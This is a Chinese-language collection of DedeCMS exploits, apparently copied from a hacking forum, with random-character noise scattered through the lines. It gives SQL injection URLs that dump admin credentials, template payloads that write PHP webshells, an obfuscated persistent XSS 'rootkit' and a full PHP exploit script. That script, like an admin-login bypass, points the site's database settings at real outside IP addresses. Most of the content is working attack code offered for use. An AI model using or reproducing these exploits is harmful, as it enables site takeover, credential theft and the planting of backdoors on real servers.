dedecms漏洞总结

admin

( R6 R0 L3 [2 Q* N5 XDedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
8 z  e4 q6 m: O( ~4 G


( e9 i* K" `9 D5 }) \0 ^0 d

0 G, B" g0 ~% T
& E% l8 u% Z& A7 o2 b. Y

DedeCms v5.6 嵌入恶意代码执行漏洞
* h* k9 {5 D- K注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
  F) K, \7 u  [9 K5 ~- a0 X2 j生成x.php 密码xiao，直接生成一句话。
& O/ L! }) d% A2 B  I( I4 j



" ~! L4 B; T; }! n5 c" \

5 m, u$ y' R) d; J2 }7 L

1 G( j! [3 w3 F+ h6 x% f  h  N" C% TDede 5.6 GBK SQL注入漏洞
) Z2 A! H9 r7 u! |4 g0 A% i( M1 Hhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
& P6 x( f) b- E5 X3 P  l
) F$ Y& A. [/ I" y+ v

! u0 g' Y) H. T% `




DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
# W; ]( y3 B6 A- I


8 Y, C, u. w. E& Z' v3 u  t% n
5 X0 E! S, h' ^# }1 O

0 v& B2 M0 V+ M- z* Z3 g( gDEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

$ g  o" k% }& Q8 u! Z7 p! f
; ]6 A% u" |$ ~' V) Y' z" b2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
6 e1 p6 l4 v/ i4 {9 n
+ O% {; C! _+ a9 f8 p
- N7 J$ l. L5 [8 W2 Qhttp://v57.demo.dedecms.com/dede/login.php
- r- ?6 d) T3 Q$ f5 B

color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
<?php
: o" K1 I( ^2 A) {# Uerror_reporting(E_ERROR);
set_time_limit(0);
print_r('
! B" C. @9 ]( W  M; o5 ZDEDEcms Variable Coverage
- O% V; Q" Z1 `Exploit Author: www.heixiaozi.comwww.webvul.com
);
echo "\r\n";
if($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
: r: z( H7 Q! e8 n7 `1 N- H1 uphp '.$argv[0].' www.site.com 1 old
8 w) F, c3 a0 I3 }" Z  x0 J+---------------------------------------------------------------------------+
');
exit;
}
' G" j- }, e& e+ j, F9 C3 }9 i$ e% e$url=$argv[1];
9 ^! ?7 \' d7 ]) K# N+ d( F, q3 ]$aid=$argv[2];
$path=$argv[3];
$exp=Getshell($url,$aid,$path);
0 B* N) ]$ a$ |! Zif (strpos($exp,"OK")>12){
2 k7 y6 ]* V: _' z& g: pecho "
, v+ w: r8 @# R3 j' G( BExploit Success \n";
if($aid==1)echo "
" _, g# A$ N6 s+ ^Shell:".$url."/$path/data/cache/fuck.php\n" ;

4 [( i# t- I+ e* g
( T3 R* H4 V! x, l. Wif($aid==2)echo "
) L4 V1 [: k& R! i) L* b  M8 bShell:".$url."/$path/fuck.php\n" ;
& I! J* i' D; Q' }2 \/ D7 @

if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";


}else{
echo "
Exploit Failed \n";
3 J9 j1 E  h# a3 K8 `}
function Getshell($url,$aid,$path){
8 J* l0 ?  x1 e, Z$id=$aid;
! L& K6 ]# L  d9 {4 I$host=$url;
$port="80";
. y- q- i: O/ ~, p! Y, @$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
' a( w/ s2 Z! A$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
# E. v+ M; Z! ?! ]2 u% C% o$data .= "Host: ".$host."\r\n";
9 y  l/ w4 k9 e$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
  g6 }* j! J& G: x5 j* ?$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
! x* N: V: v( J0 S: o7 A0 I/ P2 \$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
! q7 w7 U, _( B! N, X" Q& @//$data .= "Accept-Encoding: gzip,deflate\r\n";
3 W6 |" Q  F: h1 @1 y, U1 P$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
0 V" A1 V" Y* ?, `* n$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
. h% p& _0 {8 x$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
1 y6 Z/ L' a/ [! U9 l- V( L$data .= $content."\r\n";
$ock=fsockopen($host,$port);
1 h8 e% N6 r: m) fif (!$ock) {
echo "
: ?3 v" Q2 d9 B( xNo response from ".$host."\n";
% ~4 R( P; ^+ b}
: S  X6 [  A3 Q9 O5 h8 gfwrite($ock,$data);
: U, x0 o* z8 h3 V0 E4 swhile (!feof($ock)) {
- c" g6 t9 z; X0 L+ U$exp=fgets($ock, 1024);
return $exp;
7 g: y5 I: F/ \2 a) i) h}
( @% P8 E- R6 J& n2 A' \}
4 c# i  d0 {1 P4 P1 Z# u$ ^5 l
2 a( r3 a0 ?' ^6 S8 P  q6 |% E3 @
+ H+ s! S( r3 H/ @6 \& o# o" Z?>


6 p( K8 G4 W  k: _' M7 s

" v; Z: l5 m6 n
# l* ~# ?0 B% e0 a) i$ ]7 B
2 v( e' I6 ~7 E7 {  i
" z% l- t5 z4 B5 n, G6 R  K' ~
0 x7 ~3 {9 ^4 S3 R, l' k

DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

- E( T; R9 Z- h
把上面validate=dcug改为当前的验证码，即可直接进入网站后台
( p! f: [4 I4 b- v$ v/ i

  O% n' h1 B8 v5 w' Q) X此漏洞的前提是必须得到后台路径才能实现

6 d8 N; K2 _3 p& d% |


0 C- U) @; b* ^) c' C
: y. q! n! u0 x: ]1 R7 u
. f; j7 o/ e  r' @! {8 C
0 u, e  }# s# \' ?4 U3 M
8 ]3 z8 v4 S3 X* V! Y

Dedecms织梦 标签远程文件写入漏洞
) o1 T4 O4 U, y0 I" }8 t; S前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
+ Q$ R0 N7 c* y7 O' V! T: s

  T/ |% v# r" }再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
5 Z  `. M0 i9 @$ L. D/ N2 n* Y<form action="" method="post" name="QuickSearch" id="QuickSearch">
( L% `% @8 J, _7 d* y/ k<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
3 R5 z4 w! f) M<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
' }5 d( a& y9 z" C  O: C<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
8 d: i/ F& w: x7 t+ E: ~/ A. c<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>
1 W* E; W1 k4 q' F4 x; J

7 ~; {9 M8 k/ G6 v. i- W$ {



; c# m9 `3 N3 }
& r5 p& ~* l3 q9 _4 e. m, o! q1 X

' A% L) `* ?( \: p: U5 m, U; J
DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
4 M* B; E3 n- e) x0 ia{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
! a. H( O/ Q4 R6 ?3 _  N5 ]3 u1 z0 e3 L生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
& ]# v8 [5 g2 ?/ ]Dedecms <= V5.6 Final模板执行漏洞
4 X- W, c8 G5 v! o! ^# ]0 a注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg
( _. M0 p1 S3 g
/ h- o8 C6 b3 x, C% g# n0 s# c
) t: X  e4 E0 O* _2 h: Z模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
8 W* k( q" C8 F$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
" c$ B7 \$ `5 w1 e  x5 I( I{/dede:name}
" q/ G' p2 V, e  }  v3 I2 修改刚刚发表的文章，查看源文件，构造一个表单：
' Z7 }4 T1 d4 c<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
: X; T/ T% f" F( u# }1 f<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
7 m8 p( Q) {$ n8 [: C! ~<input type="hidden" name="channelid" value="1" />
/ k% T; D/ L+ Z7 W8 S<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />


0 }3 L- V7 K# }4 r4 m7 \/ I3 X<div id="mainCp">
( r9 D: \: f% J+ K  `3 D4 U<h3 class="meTitle"><strong>修改文章</strong></h3>
) ~+ z8 _" B% A) a! d4 V  ?

2 ~- g) Q- r. R" A, M<div class="postForm">
<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>


: P( L8 M" w9 L# {* y$ S<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
/ a3 J6 Z1 @) ]/ e
: c; s+ p; _4 v/ k/ Z* W
/ \# X3 g% C- U! N<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

# [7 ^* P: e% \9 X/ z2 H/ V8 ~2 J
) o  i* z# h# w  m<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
# f! K; l: u6 r</select>
( B' p9 }- r; G
9 R+ c, H5 v! P, x
<label>信息摘要：</label>
* N: W5 ^+ e# E( J) {$ j8 E4 R<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)
9 U+ i' d: n1 O) H" I0 f8 D

$ F$ D% E4 k6 B' L. H% r<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
/ `  {7 Y5 K% U; {8 Y5 Z. V
5 e. h$ f! g3 ?( S' [/ o, z+ \
<input type='text' name='templet'
) m  f1 V4 p/ T9 Mvalue="../ uploads/userup/2/12OMX04-15A.jpg">
+ H5 `! c! D' v' i7 M+ r$ X<input type='text' name='dede_addonfields'
( `  K+ }7 v* z, |  gvalue="templet,htmltext;">（这里构造）
3 T/ _8 E3 \5 _) m% A2 Q( l5 ?</div>


<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>

+ g7 T! x2 s8 k
. L2 r8 X! j$ [) O- n' ]7 {8 }/ U<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
; R: ]1 J* S' G7 J$ W
5 i: V) K6 p% }( {# _
* |) j2 i. ?' [5 v$ ]! J6 u; L<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
</div>

0 A' S* T2 A# g1 N: \0 a
" }  w+ u  V3 r3 ]</div>
& @) v2 w% g- Z% ~6 m. ]7 \
$ m/ S4 E1 V0 j' N7 L8 K) V
</form>
) n5 Q& b4 R: w+ V. Z. O! F  [

' J5 B! p* O( [# z6 \提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
) w, r8 u8 x% r假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php

1 i0 K9 r$ V  k% R3 `* Z# [; j
' q* k0 N. C$ U" Y% x/ t% v


0 F5 v2 f9 y2 q% T( U4 n! g. H6 u

3 J2 o/ ]: A8 v  x8 E

, H5 e( q- K% I
2 C1 |/ {8 i( S" }  L9 M

) C: ^) V. w+ R9 q" R$ h0 Y+ X, ADEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
( ]" }+ }, r. Z& H- ~1 z) \( R<input type="hidden" name="mediatype" value="1" />
9 l, W  q8 C% m! ]+ g- ^8 S<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
- P( j, X1 ~; ?* C) Y<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
5 X9 a, g3 f! B3 S<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
5 A( P8 h# F8 e2 m$ @! k! p</form>
6 F; K. D9 P8 u1 e0 O+ S
0 f. k& @( d5 V; k. h7 w( p
构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
4 s) F9 |! ^( G9 P  s* h发表文章，然后构造修改表单如下：
  m! Y0 @6 U5 z! x8 b

( L& L3 l! [5 C2 P% d# x<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
5 l3 e- Y/ p  N. \2 f<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
9 j( q* n, Y/ g<input type="hidden" name="channelid" value="1" />
4 Q7 `/ i" X  Z  q! f6 S+ |) I<input type="hidden" name="oldlitpic" value="" />
) o9 @0 K8 Y8 Q! l<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
( J' a- y3 P# V<option value='1' class='option3' selected=''>Test</option>
9 q+ }) R$ {3 l. j4 I" ]6 p<select name='mtypesid' size='1'>
, ^2 {8 O* G' f, M, j<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
" _- {& F6 Y6 G<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
# L9 Y$ c/ ]# ^7 d. @<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
" S. E8 ~  `3 P. o$ S9 R4 S<button class="button2" type="submit">提交</button>
</form>

6 e+ l% _6 Y. J6 X8 I: d2 |
. y% ^: a$ D9 @3 ~7 R) r  p


7 x+ {5 r9 K, K. O: ]

* w& v" }7 K4 z; m9 Y
* m4 Z* i9 m* Y* ^- y2 f
; J$ t2 H. n) s8 M8 M
* O1 V, q2 v. ]

织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
& V/ }) Z6 w" Z+ d9 Q! @$ v/ A
" }  M- k- ]0 B" z0 p5 ?
7 x3 n1 ~# @: [6 |

. K: ~' t0 ?9 F4 J' v- o" n
! f( o3 O# d; s- J) x


7 Q7 O8 h/ g' a& y: A

) _5 [8 P! C. \6 c* l/ \8 X. S, b  ?织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../


* W  x% k8 U8 I% e$ t
7 `8 [9 w7 x. [6 U

2 w: v' [* N3 ^7 Q. W
, P" t, \% Z0 R6 E
. ^( _' T. p& b  x/ o

9 W- [1 C2 p+ J" l* L, K' N
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
' a* d2 \0 ~5 W! i2 I8 fplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

5 r; \! z+ r/ B  d: i8 ]# u- q

8 w. ^+ t6 x6 R- @' Y- y; U
* O6 }( ~% [- h! i! i! \- |, I9 e



! X9 L& K( x0 Y* E9 T8 A4 x
) V+ D. D$ G6 U0 ?
# d) z) A3 v3 S( ~5 V, {; x织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
/ x! s: M0 ]6 H2 p9 N5 Bhttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
# E# l& h* `' w6 O, B
' I* l2 r/ b! ?: a

4 s& t: u2 ]0 @" ]! u
; x- g9 ^3 c1 z0 l; g& R. k

6 f$ C, J& y+ {% A


$ o" O; ]& ~3 h% n. E
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
9 Q6 @+ c, V9 h/ k4 s</head>
<body style="FONT-SIZE: 9pt">
& @) k/ C% W+ T$ s& v  i' D---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
- h/ w) g: p4 A<input type='hidden' name='cfg_basedir' value='../../' />
2 k( `2 S5 b! u( f* A<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
' Q/ O- t' d9 e<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
" T3 G! m# G# k6 M& A9 m! l<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
7 Z% e: [5 d7 `$ j- ?<input type='submit' name='sb1' value='确定' />
  y; ^; \9 P7 N4 j</form>
3 P5 n1 W/ E6 o5 D3 i- d<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
7 x  {2 `' y; c% o3 {/ AFun the game,get a webshell at /data/cache/fly.php...<br />
& n+ l* w8 @0 V* @+ j" |' g7 h</body>
: F; ?& U1 ]& Z, G! f& \8 s</html>
4 y* b& D( J( f" G/ i+ j% W



. W+ _( U" r# H7 G- t4 |
6 ]' s0 K- t" T0 I8 N, }
3 n& t, c  m( X; I  h+ Z
  _3 V/ \" j) S: C7 k) v8 C; u0 z7 P


织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
9 m# P4 F5 q9 C  h+ o2 Z利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
6 A) e* k, ~4 u( w5 ^5 Ehttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息

/ M+ V, d. F" J: a/ F* C
2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
: C9 p- o' f3 d* L) Z) w! w$ ?int(3) Error: Illegal double '1024e1024' value found during parsing
: [: _7 v7 l* f) x6 i2 FError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
# ]4 b& b2 b1 y0 B8 q! `. ?

- ]) J! J) p: C* r! w3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

. `; G# O7 ]1 V: r9 h: o
1 l* q6 t# C! P6 [' _* p" k7 b<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

9 @  g, T' v7 Y5 r+ i9 J! X! Q
4 g  j$ g$ b( W% ~; d2 x0 ^按确定后的看到第2步骤的信息表示文件木马上传成功.
1 K1 ~! v7 J' J# p8 j7 V
' j# s* }5 R: l6 y) T


5 ~# [3 M8 _! v+ y' E; E* P

' f9 ~+ [( \7 \2 V) Q
8 d$ k% C5 A. |% g# A& k$ L




; {9 L7 Q0 [' S6 j织梦(DedeCms)plus/infosearch.php 文件注入漏洞
; k5 |; t) l0 ~5 o1 bhttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*